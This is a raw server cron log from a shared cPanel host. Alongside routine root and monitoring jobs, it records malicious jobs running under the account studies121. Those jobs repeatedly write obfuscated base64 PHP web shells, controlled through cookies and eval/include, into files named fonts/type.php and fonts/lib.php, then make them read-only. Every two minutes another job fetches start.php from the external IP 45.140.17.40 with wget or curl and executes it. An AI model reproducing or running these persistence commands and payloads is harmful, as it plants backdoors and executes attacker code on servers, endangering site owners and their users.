Sep  3 23:18:01 ip-184-168-122-23 CROND[14439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:19:02 ip-184-168-122-23 CROND[14604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:19:02 ip-184-168-122-23 CROND[14606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:19:02 ip-184-168-122-23 CROND[14605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:19:02 ip-184-168-122-23 CROND[14607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:20:01 ip-184-168-122-23 CROND[14693]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:20:01 ip-184-168-122-23 CROND[14694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:20:01 ip-184-168-122-23 CROND[14698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:20:01 ip-184-168-122-23 CROND[14700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:20:01 ip-184-168-122-23 CROND[14699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:20:01 ip-184-168-122-23 CROND[14701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:20:01 ip-184-168-122-23 CROND[14703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:20:01 ip-184-168-122-23 CROND[14704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:20:01 ip-184-168-122-23 CROND[14707]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:21:01 ip-184-168-122-23 CROND[14799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:21:01 ip-184-168-122-23 CROND[14801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:21:01 ip-184-168-122-23 CROND[14802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:21:01 ip-184-168-122-23 CROND[14803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:22:01 ip-184-168-122-23 CROND[14890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:22:01 ip-184-168-122-23 CROND[14894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:22:01 ip-184-168-122-23 CROND[14895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:22:01 ip-184-168-122-23 CROND[14892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:22:01 ip-184-168-122-23 CROND[14893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:23:01 ip-184-168-122-23 CROND[14972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:23:01 ip-184-168-122-23 CROND[14974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:23:01 ip-184-168-122-23 CROND[14971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:23:01 ip-184-168-122-23 CROND[14973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:24:01 ip-184-168-122-23 CROND[15054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:24:01 ip-184-168-122-23 CROND[15056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:24:01 ip-184-168-122-23 CROND[15057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:24:01 ip-184-168-122-23 CROND[15059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:24:01 ip-184-168-122-23 CROND[15058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:25:01 ip-184-168-122-23 CROND[15249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:25:01 ip-184-168-122-23 CROND[15252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:25:01 ip-184-168-122-23 CROND[15251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:25:01 ip-184-168-122-23 CROND[15253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:25:01 ip-184-168-122-23 CROND[15255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:25:01 ip-184-168-122-23 CROND[15254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:26:01 ip-184-168-122-23 CROND[15341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:26:01 ip-184-168-122-23 CROND[15342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:26:01 ip-184-168-122-23 CROND[15344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:26:01 ip-184-168-122-23 CROND[15346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:26:01 ip-184-168-122-23 CROND[15347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:27:01 ip-184-168-122-23 CROND[15433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:27:01 ip-184-168-122-23 CROND[15436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:27:01 ip-184-168-122-23 CROND[15437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:27:01 ip-184-168-122-23 CROND[15435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:28:01 ip-184-168-122-23 CROND[15516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:28:01 ip-184-168-122-23 CROND[15518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:28:01 ip-184-168-122-23 CROND[15519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:28:01 ip-184-168-122-23 CROND[15520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:28:01 ip-184-168-122-23 CROND[15521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:29:01 ip-184-168-122-23 CROND[15617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:29:01 ip-184-168-122-23 CROND[15618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:29:01 ip-184-168-122-23 CROND[15621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:29:01 ip-184-168-122-23 CROND[15622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:30:01 ip-184-168-122-23 CROND[15784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:30:01 ip-184-168-122-23 CROND[15785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:30:01 ip-184-168-122-23 CROND[15788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:30:01 ip-184-168-122-23 CROND[15791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:30:01 ip-184-168-122-23 CROND[15790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:30:01 ip-184-168-122-23 CROND[15792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:30:01 ip-184-168-122-23 CROND[15794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
